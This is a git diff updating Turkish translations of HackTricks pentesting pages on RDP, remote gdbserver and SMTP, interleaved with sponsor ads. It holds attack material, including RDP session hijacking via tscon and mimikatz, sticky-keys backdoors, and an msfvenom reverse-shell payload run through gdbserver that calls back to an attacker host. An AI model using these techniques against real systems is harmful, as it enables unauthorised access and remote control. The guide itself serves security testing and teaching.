+**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. Keşiften raporlamaya kadar olan 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz ki onlar daha derine inebilsin, kabuklar açabilsin ve eğlenebilsin.
{% embed url="https://pentest-tools.com/" %}
@@ -91,7 +91,7 @@ tscon /dest:
**Önemli**: Etkin bir RDP oturumuna eriştiğinizde, o oturumu kullanan kullanıcıyı atacaksınız.
-Şifreleri işlemi dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcının sanal masaüstleriyle etkileşimde bulunmanızı sağlar (şifrelerin diske kaydedilmeden not defterinde, diğer makinelerde açılan diğer RDP oturumları...)
+Şifreleri işlemi dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcının sanal masaüstleriyle etkileşime girmenizi sağlar (şifrelerin diske kaydedilmeden not defterinde, diğer makinelerde açılan diğer RDP oturumları...)
#### **Mimikatz**
@@ -102,13 +102,13 @@ ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
-Bu teknikle **stickykeys** veya **utilman** ile birleştirildiğinde, her zaman bir yönetici CMD'sine ve herhangi bir RDP oturumuna erişebileceksiniz.
+Bu teknikleri **stickykeys** veya **utilman ile birleştirerek her zaman yönetici CMD'sine ve herhangi bir RDP oturumuna erişebileceksiniz**
-Zaten bu tekniklerden biriyle arka kapıdan giriş yapılmış RDP'leri arayabilirsiniz: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
+Zaten bu tekniklerden biriyle backdoor eklenmiş RDP'leri arayabilirsiniz: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
-Farklı bir etki alanından veya **daha iyi ayrıcalıklara sahip biri RDP** üzerinden **sisteme giriş yaptığında**, **siz yönetici olduğunuz PC'ye**, kendi **beacon'ınızı enjekte edebilir** ve onun gibi davranabilirsiniz:
+Farklı bir etki alanından veya **daha iyi ayrıcalıklara sahip biri RDP** üzerinden **siz Admin olduğunuz PC'ye giriş yaptığında**, onun **RDP oturum sürecine beacon'ınızı enjekte edebilir** ve onun gibi davranabilirsiniz:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
@@ -122,14 +122,14 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
-**AutoRDPwn**, öncelikle Microsoft Windows bilgisayarlarda **Shadow** saldırısını otomatikleştirmek için tasarlanmış Powershell'de oluşturulmuş bir son aşama saldırı çerçevesidir. Bu zayıflık (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **izin almadan kurbanının masaüstünü görmesine** ve hatta işletim sistemi içindeki araçları kullanarak isteğe bağlı olarak kontrol etmesine olanak tanır.
+**AutoRDPwn**, öncelikle Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış Powershell'de oluşturulmuş bir son aşama saldırı çerçevesidir. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın, işletim sistemi içinde bulunan araçları kullanarak **kurbanının masaüstünü izlemesine** ve isteğe bağlı olarak kontrol etmesine olanak tanır.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Fare ve klavyeyi komut satırından otomatik olarak kontrol etme
* Pano üzerinden komut satırından otomatik olarak kontrol etme
-* İstemciden RDP aracılığıyla hedefe ağ iletişimini yönlendiren SOCKS proxy'si oluşturma
-* Hedef üzerinde dosya yükleme ve indirme, hedefte dosya transferleri devre dışı bırakıldığında bile
+* İstemciden bir SOCKS proxy oluşturarak ağ iletişimini hedefe RDP aracılığıyla yönlendirme
* Hedef üzerinde dosya yükleme ve indirme, hedefte dosya transferleri devre dışı bırakıldığında bile
+* Dosya yükleme ve indirme, hedefte dosya transferleri devre dışı bırakıldığında bile
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
@@ -148,22 +148,22 @@ Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
-
+
-**Zafere ulaşmak için sıfırdan AWS hackleme öğrenin**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
+**Vulnerability assessment ve penetrasyon testi için anında kullanılabilir kurulum**. Keşiften raporlamaya kadar olan 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Biz pentesterları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, shell'ler açmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin!
+Sıfırdan kahraman olana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
-* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
-* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katılın.
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-remote-gdbserver.md b/network-services-pentesting/pentesting-remote-gdbserver.md
index 2895d676e..789cd7b4f 100644
--- a/network-services-pentesting/pentesting-remote-gdbserver.md
+++ b/network-services-pentesting/pentesting-remote-gdbserver.md
@@ -6,15 +6,15 @@
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inme, kabuklar açma ve eğlenme zamanı kazanıyorlar.
@@ -22,15 +22,15 @@ HackTricks'ı desteklemenin diğer yolları:
## **Temel Bilgiler**
-**gdbserver**, programların uzaktan hata ayıklanmasını sağlayan bir araçtır. Hata ayıklanması gereken programla aynı sistemde, "hedef" olarak bilinen yan yana çalışır. Bu kurulum, **GNU Debugger**'ın kaynak kodunun ve hata ayıklanan programın ikili kopyasının saklandığı farklı bir makineden, "ana makine"den bağlanmasına izin verir. **gdbserver** ile hata ayıklayıcı arasındaki bağlantı TCP veya seri hat üzerinden yapılabilir, esnek hata ayıklama kurulumlarına olanak tanır.
+**gdbserver**, programların uzaktan hata ayıklanmasını sağlayan bir araçtır. Hata ayıklanması gereken programla aynı sistemde, "hedef" olarak bilinen yan yana çalışır. Bu kurulum, **GNU Debugger**'ın kaynak kodunun ve hata ayıklanan programın ikili kopyasının saklandığı "ana bilgisayar" olarak adlandırılan farklı bir makineden bağlanmasına olanak tanır. **gdbserver** ile hata ayıklama arasındaki bağlantı TCP veya seri hat üzerinden yapılabilir, esnek hata ayıklama kurulumlarına olanak tanır.
-**gdbserver'ı dinleyebilirsiniz herhangi bir bağlantı noktasında** ve şu anda **nmap hizmeti tanıyamıyor**.
+**gdbserver'ı herhangi bir portta dinlemesini sağlayabilirsiniz** ve şu anda **nmap hizmeti tanıyamıyor**.
## Sömürü
### Yükle ve Çalıştır
-Kolayca bir **elf arka kapı oluşturabilirsiniz msfvenom ile**, yükleyebilir ve çalıştırabilirsiniz:
+Kolayca bir **elf arka kapı oluşturabilir, msfvenom ile yükleyebilir ve çalıştırabilirsiniz**:
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
@@ -53,7 +53,7 @@ run
# You should get your reverse-shell
```
-### Rastgele komutları yürütme
+### Rastgele komutları yürüt
Başka bir yol, **hata ayıklayıcının rastgele komutları yürütmesini sağlamak için** [**buradan alınan python özel betiği kullanmaktır**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
```bash
@@ -195,22 +195,22 @@ RemoteCmd()
```
{% endcode %}
-
+
-**Uzaktan GDB sunucusu pentest etme**. Herhangi bir yerden 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar.
+**Zafere ulaşmak için sıfırdan AWS hackleme öğrenin**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve sömürü modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
-Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
+htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)!
-* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com)
-* [**The PEASS Family**]'yi keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦 [**@carlospolopm**]'u takip edin(https://twitter.com/hacktricks\_live)**.**
-* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/network-services-pentesting/pentesting-smtp/README.md b/network-services-pentesting/pentesting-smtp/README.md
index 3ff09f589..3cb7628b5 100644
--- a/network-services-pentesting/pentesting-smtp/README.md
+++ b/network-services-pentesting/pentesting-smtp/README.md
@@ -6,25 +6,25 @@
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
-**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest'i çalıştırın, keşiften raporlamaya kadar uzanan özellikler. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inme, kabukları patlatma ve eğlenme zamanı kazanıyorlar.
+**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest'i her yerden çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
## **Temel Bilgiler**
-**Basit Posta Aktarım Protokolü (SMTP)**, **e-posta gönderme ve alma** için TCP/IP paketinde kullanılan bir protokoldür. Alıcının mesajları sıraya koyma konusundaki kısıtlamaları nedeniyle, SMTP genellikle **POP3 veya IMAP** ile birlikte kullanılır. Bu ek protokoller, kullanıcılara mesajları bir sunucu posta kutusunda depolama ve periyodik olarak indirme olanağı sağlar.
+**Basit Posta Aktarım Protokolü (SMTP)**, **e-posta gönderme ve alma** için TCP/IP paketinde kullanılan bir protokoldür. Alıcı tarafında mesajları sıraya koyma konusundaki kısıtlamaları nedeniyle, SMTP genellikle **POP3 veya IMAP** ile birlikte kullanılır. Bu ek protokoller, kullanıcıların mesajları bir sunucu posta kutusunda depolamalarına ve periyodik olarak indirmelerine olanak tanır.
-Uygulamada, **e-posta programlarının** genellikle **e-posta göndermek için SMTP'yi** kullanırken, **alım için POP3 veya IMAP'yi** kullandığı yaygındır. Unix tabanlı sistemlerde, e-posta amaçları için en sık kullanılan SMTP sunucusu **sendmail** olarak öne çıkar. Sendmail olarak bilinen ticari paket bir POP3 sunucusunu içerir. Ayrıca, **Microsoft Exchange** bir SMTP sunucusu sağlar ve POP3 desteği eklemeyi seçenek olarak sunar.
+Uygulamada, **e-posta programlarının** genellikle **e-posta göndermek için SMTP'yi**, almak için ise **POP3 veya IMAP'yi** kullandığı yaygındır. Unix tabanlı sistemlerde, e-posta amaçları için en sık kullanılan SMTP sunucusu **sendmail** olarak öne çıkar. Sendmail adlı ticari paket bir POP3 sunucusunu içerir. Ayrıca, **Microsoft Exchange** bir SMTP sunucusu sağlar ve POP3 desteği eklemeyi seçenek olarak sunar.
**Varsayılan port:** 25,465(ssl),587(ssl)
```
@@ -35,7 +35,7 @@ PORT STATE SERVICE REASON VERSION
Eğer **kurbanı size bir e-posta göndermeye ikna etme fırsatınız varsa** (örneğin web sayfasının iletişim formu aracılığıyla), bunu yapın çünkü **e-postanın başlıklarını görerek kurbanın iç ağ yapısı hakkında bilgi edinebilirsiniz**.
-Ayrıca, **SMTP sunucusundan bir e-posta alabilirsiniz, sunucunun size bir NDN e-posta göndereceği bir adresine e-posta göndermeye çalışarak** (çünkü sunucu saldırganın bir NDN e-postasını gönderecektir). Ancak, e-postayı izin verilen bir adresten gönderdiğinizden emin olun (SPF politikasını kontrol edin) ve NDN mesajlarını alabildiğinizden emin olun.
+Ayrıca, bir SMTP sunucusundan bir e-posta alabilirsiniz, sunucunun size bir NDN e-posta göndereceği bir **mevcut olmayan bir adrese e-posta göndermeye çalışarak** (çünkü sunucu saldırganın bir NDN e-postası gönderecektir). Ancak, e-postayı izin verilen bir adresten gönderdiğinizden emin olun (SPF politikasını kontrol edin) ve NDN mesajlarını alabildiğinizden emin olun.
Ayrıca, **farklı içerikler göndermeyi denemelisiniz çünkü başlıklarda daha ilginç bilgiler bulabilirsiniz** örneğin: `X-Virus-Scanned: by av.domain.com`\
EICAR test dosyasını göndermelisiniz.\
@@ -51,7 +51,7 @@ nc -vn 25
```
**SMTPS**:
-SMTPS, Secure SMTP olarak da bilinir, SMTP üzerinden güvenli iletişim sağlamak için kullanılan bir protokoldür. SMTPS, SMTP'nin şifrelenmiş bir sürümüdür ve genellikle 465 numaralı port üzerinden iletişim kurar. SMTPS, iletişimin gizliliğini ve bütünlüğünü sağlamak için SSL veya TLS kullanır. Bu protokol, e-posta sunucuları arasındaki güvenli iletişimi sağlamak için yaygın olarak kullanılır.
+SMTPS, Secure SMTP olarak da bilinir, SMTP üzerinden güvenli iletişim sağlamak için kullanılan bir protokoldür. SMTPS, SMTP'nin şifrelenmiş bir sürümüdür ve genellikle 465 numaralı port üzerinden iletişim kurar. Bu protokol, iletilerin güvenli bir şekilde iletilmesini sağlar ve veri akışını şifreler.SMTPS, SSL veya TLS protokollerini kullanarak iletişimi şifreler ve güvenli hale getirir. Bu sayede, hassas bilgilerin güvenli bir şekilde iletilmesi sağlanır.
```bash
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
@@ -78,7 +78,7 @@ NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
-Veya bunu **nmap** eklentisi `smtp-ntlm-info.nse` ile **otomatikleştirin**
+Veya bunu **nmap** eklentisi `smtp-ntlm-info.nse` ile **otomatize** edin
### Dahili sunucu adı - Bilgi sızdırma
@@ -131,7 +131,7 @@ RCPT TO:ed
```
### VRFY
-VRFY komutu, SMTP sunucusundaki kullanıcı adlarını doğrulamak için kullanılır. Bu komut, saldırganlara hedef SMTP sunucusunda geçerli kullanıcı adlarını belirleme ve hedefe yönelik saldırılar için bilgi toplama imkanı sağlar. Bu nedenle, hedef SMTP sunucusunda VRFY komutunun devre dışı bırakılması önerilir.
+VRFY komutu, SMTP sunucularında belirli bir kullanıcı adının geçerli olup olmadığını doğrulamak için kullanılır. Bu komut, saldırganlara kullanıcı adlarını toplamak ve ardından hedeflere karşı sosyal mühendislik saldırıları gerçekleştirmek için bir yol sağlayabilir. Bu nedenle, VRFY komutunun genellikle devre dışı bırakılması önerilir.
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
@@ -149,7 +149,7 @@ VRFY blah
```
### EXPN
-EXP komutu, SMTP sunucusundaki bir posta listesini genişletmek için kullanılır. Bu komut, posta listesindeki tüm e-posta adreslerini görüntülemek için kullanılabilir. Bu bilgi, saldırganların hedefe yönelik sosyal mühendislik saldırıları için yararlı olabilir.
+EXP komutu, SMTP sunucusundaki bir posta listesini genişletmek için kullanılır. Bu, saldırganın hedef e-posta adreslerini toplamasına ve hedeflerin kimliklerini belirlemesine olanak tanır. Bu bilgi, gelecekteki saldırılar için hedef seçiminde kullanılabilir.
```bash
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
@@ -172,15 +172,15 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M -u -t
Nmap: nmap --script smtp-enum-users
```
-
+
-**Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
+**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın, keşiften raporlamaya kadar uzanan. Pentester'ları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabuklar açmak ve eğlenmek için zaman kazanmalarını sağlıyoruz.
{% embed url="https://pentest-tools.com/" %}
## DSN Raporları
-**Teslimat Durumu Bildirimi Raporları**: Bir **e-posta** gönderirseniz ve **geçersiz bir adrese** gönderirseniz, kuruluş size adresin geçersiz olduğunu bildirerek bir **e-posta geri gönderir**. Geri gönderilen e-postanın **başlıkları**, raporlarla etkileşimde bulunan e-posta hizmetlerinin IP adresi veya antivirüs yazılımı bilgileri gibi olası **duyarlı bilgileri içerebilir**.
+**Teslimat Durumu Bildirimi Raporları**: Bir **kuruluşa e-posta** gönderirseniz ve **geçersiz bir adrese** gönderirseniz, kuruluş adresin geçersiz olduğunu bildirerek size bir **e-posta geri gönderir**. Geri gönderilen e-postanın **başlıkları**, raporlarla etkileşimde bulunan e-posta hizmetlerinin IP adresini veya antivirüs yazılımı bilgilerini içerebilir.
## [Komutlar](smtp-commands.md)
@@ -257,18 +257,18 @@ SMTP Smuggling zafiyeti, tüm SMTP korumalarını atlamayı sağladı (korumalar
## Mail Spoofing Karşı Tedbirler
-**SPF**, **DKIM** ve **DMARC** kullanarak organizasyonlar, SMTP ileti göndermeyi kolaylaştırdığı için yetkisiz e-postaların gönderilmesini engeller.
+**SPF**, **DKIM** ve **DMARC** kullanarak, SMTP mesajlarının sahtelenmesinin kolaylığı nedeniyle organizasyonlar, izinsiz e-postaların kendi adlarına gönderilmesini engeller.
-Bu karşı tedbirler hakkında **kapsamlı bir kılavuz** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) adresinde bulunabilir.
+Bu karşı tedbirler hakkında **kapsamlı bir kılavuz**, [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) adresinde sunulmuştur.
### SPF
{% hint style="danger" %}
-SPF [2014 yılında "kaldırıldı"](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Bu, `_spf.domain.com` içinde bir **TXT kaydı** oluşturmak yerine aynı **sözdizimini** kullanarak `domain.com` içinde oluşturmanız gerektiği anlamına gelir.\
+SPF [2014 yılında "kaldırıldı"](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Bu, `_spf.domain.com` içinde bir **TXT kaydı** oluşturmak yerine aynı sözdizimini kullanarak `domain.com` içinde oluşturmanız gerektiği anlamına gelir.\
Ayrıca, önceki SPF kayıtlarını yeniden kullanmak için `"v=spf1 include:_spf.google.com ~all"` gibi bir şey bulmak oldukça yaygındır.
{% endhint %}
-**Gönderen Politika Çerçevesi** (SPF), E-posta Transfer Ajanlarının (MTA'ların) yetkilendirilmiş e-posta sunucularının listesini sorgulayarak bir e-posta gönderen ana bilgisayarın yetkilendirilip yetkilendirilmediğini doğrulamasını sağlayan bir mekanizmadır. Bu liste, IP adresleri/aralıkları, alanlar ve diğer varlıkları belirten SPF kaydındaki çeşitli "**Mekanizmaları**" içerir.
+**Gönderen Politika Çerçevesi** (SPF), E-posta Transfer Ajanlarının (MTA'ların) yetkilendirilmiş e-posta sunucularının listesini sorgulayarak bir e-postayı gönderen bir ana bilgisayarın yetkilendirilip yetkilendirilmediğini doğrulamasını sağlayan bir mekanizmadır. Bu liste, IP adresleri/aralıkları, alan adları ve diğer varlıkları belirten SPF kaydındaki çeşitli "**Mekanizmaları**" içerir.
#### Mekanizmalar
@@ -276,25 +276,25 @@ Ayrıca, önceki SPF kayıtlarını yeniden kullanmak için `"v=spf1 include:_sp
| Mekanizma | Açıklama |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| ALL | Her zaman eşleşir; önceki mekanizmalarla eşleşmeyen tüm IP'ler için `-all` gibi varsayılan bir sonuç için kullanılır. |
-| A | Eğer alan adının bir adres kaydı (A veya AAAA) gönderenin adresine çözümlenebiliyorsa eşleşir. |
+| ALL | Her zaman eşleşir; tüm önceki mekanizmalarla eşleşmeyen tüm IP'ler için `-all` gibi bir varsayılan sonuç için kullanılır. |
+| A | Eğer alan adının bir adres kaydı (A veya AAAA) gönderenin adresine çözümlenebilecekse eşleşir. |
| IP4 | Gönderen belirli bir IPv4 adres aralığında ise eşleşir. |
| IP6 | Gönderen belirli bir IPv6 adres aralığında ise eşleşir. |
| MX | Alan adının gönderenin adresine çözümlenen bir MX kaydı varsa eşleşir (yani posta alanının gelen posta sunucularından birinden geldiği anlamına gelir). |
| PTR | İstemcinin adresi için (PTR kaydı) verilen alan adı belirli bir alanda ise ve bu alan adı istemcinin adresine çözümlenirse (ileri doğrulamalı ters DNS), eşleşir. Bu mekanizma tavsiye edilmez ve mümkünse kaçınılmalıdır. |
-| EXISTS | Verilen alan adı herhangi bir adrese çözümlenirse eşleşir (çözümlenen adresin önemi yoktur). Bu nadiren kullanılır. SPF makro dili ile birlikte DNSBL sorguları gibi daha karmaşık eşleşmeler sunar. |
-| INCLUDE | Başka bir alanın politikasına referans verir. Bu alanın politikası geçerse, bu mekanizma geçer. Ancak dahil edilen politika başarısız olursa, işlem devam eder. Başka bir alanın politikasına tamamen devretmek için yönlendirme uzantısı kullanılmalıdır. |
+| EXISTS | Verilen alan adı herhangi bir adrese çözümlenirse eşleşir (çözümlenen adresin önemi yoktur). Bu nadiren kullanılır. SPF makro dilinin yanı sıra DNSBL sorguları gibi daha karmaşık eşleşmeler sunar. |
